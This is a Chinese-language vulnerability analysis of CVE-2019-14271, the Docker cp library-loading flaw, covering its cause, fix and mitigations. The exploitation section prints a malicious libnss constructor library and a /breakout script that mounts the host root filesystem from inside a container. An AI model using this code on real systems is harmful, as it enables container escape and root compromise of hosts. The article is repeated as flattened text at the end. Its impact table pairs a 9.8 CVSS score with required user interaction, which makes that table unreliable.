CVE-2019-14271:Docker copy漏洞分析
字数 1559 2025-08-26 22:11:39

Docker Copy 漏洞 CVE-2019-14271 深度分析与防护指南

漏洞概述

CVE-2019-14271 是 Docker 历史上最严重的 copy 漏洞之一,该漏洞允许恶意容器通过 docker cp 命令获取主机系统的 root 权限。此漏洞影响使用 Go v1.11 编译的 Docker 版本,攻击者可利用容器中的恶意库文件在主机上执行任意代码。

漏洞背景

Docker cp 命令工作机制

docker cp 命令允许在容器与主机之间或容器之间复制文件,其语法类似于 Unix 标准 cp 命令。当从容器复制文件到主机时,Docker 使用一个名为 docker-tar 的辅助进程:

  1. docker-tar 通过 chroot 进入容器文件系统
  2. 将请求的文件或目录归档为 tar 格式
  3. 将生成的 tar 文件传递给 Docker 守护进程
  4. 守护进程将文件提取到主机的目标目录

chroot 机制用于防止符号链接问题,确保所有符号链接都在容器内部解析,而不会意外访问主机文件系统。

漏洞原理

根本原因

漏洞源于 Docker 使用 Go v1.11 编译,该版本中一些包含嵌入 C 代码 (cgo) 的包(如 netos/user)会在运行时动态加载共享库(如 libnss_*.so)。正常情况下,这些库应从主机文件系统加载,但由于 docker-tarchroot 到容器文件系统,实际会从容器中加载库。

关键问题点:

  • docker-tar 进程虽然 chroot 到容器,但仍在主机命名空间运行
  • 具有 root 权限且不受 cgroups 或 seccomp 限制
  • 加载并执行容器控制的恶意库代码

攻击场景

  1. 容器运行含有恶意 libnss_*.so 库的镜像
  2. 容器中的 libnss_*.so 库被攻击者替换

在这两种情况下,当用户执行 docker cp 命令时,攻击者可获取主机 root 权限。

漏洞利用分析

恶意库构造

攻击者需要构造恶意 libnss 库(如 libnss_files.so),在其中添加具有 constructor 属性的函数:

#include ...

#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"

bool is_priviliged();

__attribute__ ((constructor)) void run_at_link(void)
{
     char * argv_break[2];
     if (!is_priviliged())
           return;

     rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
     fprintf(log_fp, "switched back to the original libnss_file.so");

     if (!fork())
     {
           // 子进程执行突破
           argv_break[0] = strdup("/breakout");
           argv_break[1] = NULL;
           execve("/breakout", argv_break, NULL);
     }
     else
           wait(NULL); // 等待子进程
     return;
}

bool is_priviliged()
{
     FILE * proc_file = fopen("/proc/self/exe", "r");
     if (proc_file != NULL)
     {
           fclose(proc_file);
           return false; // 可以打开说明/proc存在,不在特权环境
     }
     return true; // 运行在docker-tar上下文中
}

突破脚本示例

/breakout 脚本示例(实现主机文件系统访问):

umount /host_fs && rm -rf /host_fs
mkdir /host_fs

mount -t proc none /proc     # 将主机的procfs挂载到/proc
cd /proc/1/root              # 切换到主机的根目录
mount --bind . /host_fs      # 将主机根目录挂载到/host_fs
echo "Hello from within the container!" > /host_fs/evil

漏洞修复方案

Docker 官方修复方案:

  • 修改 docker-tar 的初始化函数,在 chroot 到容器前从主机文件系统加载必要的 libnss
  • 确保动态库加载发生在 chroot 之前

补丁关键点:

// 在chroot前加载必要的库
func init() {
    // 强制加载net和user包,触发库加载
    _, _ = user.Lookup("root")
    _, _ = net.LookupHost("localhost")
}

防护建议

  1. 立即升级:更新 Docker 到 19.03.1 或更高版本
  2. 最小权限原则
    • 避免使用 root 用户运行容器
    • 使用非特权用户 (--user)
    • 启用 seccomp 和 AppArmor/SELinux
  3. 镜像安全
    • 仅使用受信任的官方镜像
    • 扫描镜像中的恶意组件
  4. 网络隔离
    • 限制容器网络访问
    • 使用专用网络命名空间
  5. 监控与审计
    • 监控可疑的 docker cp 操作
    • 审计容器文件系统变更

技术影响评估

  • CVSS 评分:9.8 (Critical)
  • 攻击复杂度:低
  • 权限需求:无(攻击者只需控制容器)
  • 用户交互:需要管理员执行 docker cp 命令

结论

CVE-2019-14271 展示了容器安全中一个关键问题:看似隔离的环境可能通过共享库加载等机制突破边界。此漏洞特别危险,因为:

  1. 利用简单,只需控制容器镜像
  2. 直接获取主机 root 权限
  3. 触发条件(docker cp)是常见管理操作

系统管理员应立即采取行动升级 Docker 版本,并审查现有容器安全配置,避免从不受信任的源获取容器镜像。

Docker Copy 漏洞 CVE-2019-14271 深度分析与防护指南 漏洞概述 CVE-2019-14271 是 Docker 历史上最严重的 copy 漏洞之一,该漏洞允许恶意容器通过 docker cp 命令获取主机系统的 root 权限。此漏洞影响使用 Go v1.11 编译的 Docker 版本,攻击者可利用容器中的恶意库文件在主机上执行任意代码。 漏洞背景 Docker cp 命令工作机制 docker cp 命令允许在容器与主机之间或容器之间复制文件,其语法类似于 Unix 标准 cp 命令。当从容器复制文件到主机时,Docker 使用一个名为 docker-tar 的辅助进程: docker-tar 通过 chroot 进入容器文件系统 将请求的文件或目录归档为 tar 格式 将生成的 tar 文件传递给 Docker 守护进程 守护进程将文件提取到主机的目标目录 chroot 机制用于防止符号链接问题,确保所有符号链接都在容器内部解析,而不会意外访问主机文件系统。 漏洞原理 根本原因 漏洞源于 Docker 使用 Go v1.11 编译,该版本中一些包含嵌入 C 代码 (cgo) 的包(如 net 和 os/user )会在运行时动态加载共享库(如 libnss_*.so )。正常情况下,这些库应从主机文件系统加载,但由于 docker-tar 已 chroot 到容器文件系统,实际会从容器中加载库。 关键问题点: docker-tar 进程虽然 chroot 到容器,但仍在主机命名空间运行 具有 root 权限且不受 cgroups 或 seccomp 限制 加载并执行容器控制的恶意库代码 攻击场景 容器运行含有恶意 libnss_*.so 库的镜像 容器中的 libnss_*.so 库被攻击者替换 在这两种情况下,当用户执行 docker cp 命令时,攻击者可获取主机 root 权限。 漏洞利用分析 恶意库构造 攻击者需要构造恶意 libnss 库(如 libnss_files.so ),在其中添加具有 constructor 属性的函数: 突破脚本示例 /breakout 脚本示例(实现主机文件系统访问): 漏洞修复方案 Docker 官方修复方案: 修改 docker-tar 的初始化函数,在 chroot 到容器前从主机文件系统加载必要的 libnss 库 确保动态库加载发生在 chroot 之前 补丁关键点: 防护建议 立即升级 :更新 Docker 到 19.03.1 或更高版本 最小权限原则 : 避免使用 root 用户运行容器 使用非特权用户 ( --user ) 启用 seccomp 和 AppArmor/SELinux 镜像安全 : 仅使用受信任的官方镜像 扫描镜像中的恶意组件 网络隔离 : 限制容器网络访问 使用专用网络命名空间 监控与审计 : 监控可疑的 docker cp 操作 审计容器文件系统变更 技术影响评估 CVSS 评分 :9.8 (Critical) 攻击复杂度 :低 权限需求 :无(攻击者只需控制容器) 用户交互 :需要管理员执行 docker cp 命令 结论 CVE-2019-14271 展示了容器安全中一个关键问题:看似隔离的环境可能通过共享库加载等机制突破边界。此漏洞特别危险,因为: 利用简单,只需控制容器镜像 直接获取主机 root 权限 触发条件( docker cp )是常见管理操作 系统管理员应立即采取行动升级 Docker 版本,并审查现有容器安全配置,避免从不受信任的源获取容器镜像。